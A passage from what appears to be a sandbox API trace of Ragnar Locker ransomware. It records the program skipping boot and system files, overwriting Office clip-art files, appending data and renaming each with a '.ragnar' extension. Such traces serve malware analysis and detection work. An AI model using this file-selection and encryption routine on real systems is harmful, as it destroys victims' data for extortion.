lpString2="BD18241_.WMF" | out: lpString1="BD18241_.WMF") returned="BD18241_.WMF" [0096.785] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF") returned=".WMF" [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="autorun.inf") returned 1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="boot.ini") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="bootfont.bin") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="bootsect.bak") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="bootmgr") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="bootmgr.efi") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="desktop.ini") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="iconcache.db") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="ntldr") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="ntuser.dat") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="ntuser.ini") returned -1 [0096.786] lstrcmpiW (lpString1="BD18241_.WMF", lpString2="thumbs.db") returned -1 [0096.786] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.786] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.786] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.786] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.786] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.786] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.786] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf")) returned 0x20 [0096.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.787] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2760) returned 1 [0096.787] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xabf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.787] GetProcessHeap () returned 0x580000 [0096.787] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.787] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.789] VirtualAlloc (lpAddress=0x0, dwSize=0xac8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.789] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xac8, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xac8, lpOverlapped=0x0) returned 1 [0096.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.789] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xac8, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.789] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xac8, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xac8, lpOverlapped=0x0) returned 1 [0096.789] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xac8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.789] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xac8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.790] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.790] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.790] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.790] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.790] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.790] GetProcessHeap () returned 0x580000 [0096.790] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.790] CloseHandle (hObject=0xf4) returned 1 [0096.790] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" [0096.790] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF.ragnar_FD7BD9FC" [0096.790] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18241_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18241_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.791] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a42b600, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a42b600, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18242_.WMF", cAlternateFileName="")) returned 1 [0096.791] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.791] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18242_.WMF" | out: lpString1="BD18242_.WMF") returned="BD18242_.WMF" [0096.791] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF") returned=".WMF" [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="autorun.inf") returned 1 [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="boot.ini") returned -1 [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="bootfont.bin") returned -1 [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="bootsect.bak") returned -1 [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="bootmgr") returned -1 [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="bootmgr.efi") returned -1 [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="desktop.ini") returned -1 [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="iconcache.db") returned -1 [0096.791] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="ntldr") returned -1 [0096.792] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="ntuser.dat") returned -1 [0096.792] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.792] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="ntuser.ini") returned -1 [0096.792] lstrcmpiW (lpString1="BD18242_.WMF", lpString2="thumbs.db") returned -1 [0096.792] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.792] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.792] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.792] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.792] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.792] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.792] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.792] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf")) returned 0x20 [0096.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.793] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2082) returned 1 [0096.793] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x819, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.793] GetProcessHeap () returned 0x580000 [0096.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.793] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.794] VirtualAlloc (lpAddress=0x0, dwSize=0x822, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.795] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x822, lpOverlapped=0x0) returned 1 [0096.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.795] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x822, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.795] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x822, lpOverlapped=0x0) returned 1 [0096.795] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x822, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.795] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x822, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.795] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.795] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.795] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.795] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.796] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.796] GetProcessHeap () returned 0x580000 [0096.796] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.796] CloseHandle (hObject=0xf4) returned 1 [0096.796] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" [0096.796] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF.ragnar_FD7BD9FC" [0096.796] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18242_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18242_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.797] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb7e000, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fb7e000, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18243_.WMF", cAlternateFileName="")) returned 1 [0096.797] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.797] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18243_.WMF" | out: lpString1="BD18243_.WMF") returned="BD18243_.WMF" [0096.797] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF") returned=".WMF" [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="autorun.inf") returned 1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="boot.ini") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="bootfont.bin") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="bootsect.bak") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="bootmgr") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="bootmgr.efi") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="desktop.ini") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="iconcache.db") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="ntldr") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="ntuser.dat") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="ntuser.ini") returned -1 [0096.797] lstrcmpiW (lpString1="BD18243_.WMF", lpString2="thumbs.db") returned -1 [0096.797] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.797] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.797] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.797] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.797] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.797] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.797] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf")) returned 0x20 [0096.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.798] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2082) returned 1 [0096.798] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x819, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.798] GetProcessHeap () returned 0x580000 [0096.798] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.798] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.800] VirtualAlloc (lpAddress=0x0, dwSize=0x822, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.800] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.800] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.800] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x822, lpOverlapped=0x0) returned 1 [0096.800] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.800] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x822, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.800] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x822, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x822, lpOverlapped=0x0) returned 1 [0096.800] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x822, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.800] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.800] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x822, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.800] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.800] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.801] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.801] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.801] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.801] GetProcessHeap () returned 0x580000 [0096.801] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.801] CloseHandle (hObject=0xf4) returned 1 [0096.801] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" [0096.801] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF.ragnar_FD7BD9FC" [0096.801] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18243_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18243_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.802] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d151300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d151300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18244_.WMF", cAlternateFileName="")) returned 1 [0096.802] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.802] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18244_.WMF" | out: lpString1="BD18244_.WMF") returned="BD18244_.WMF" [0096.802] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18244_.WMF") returned=".WMF" [0096.802] 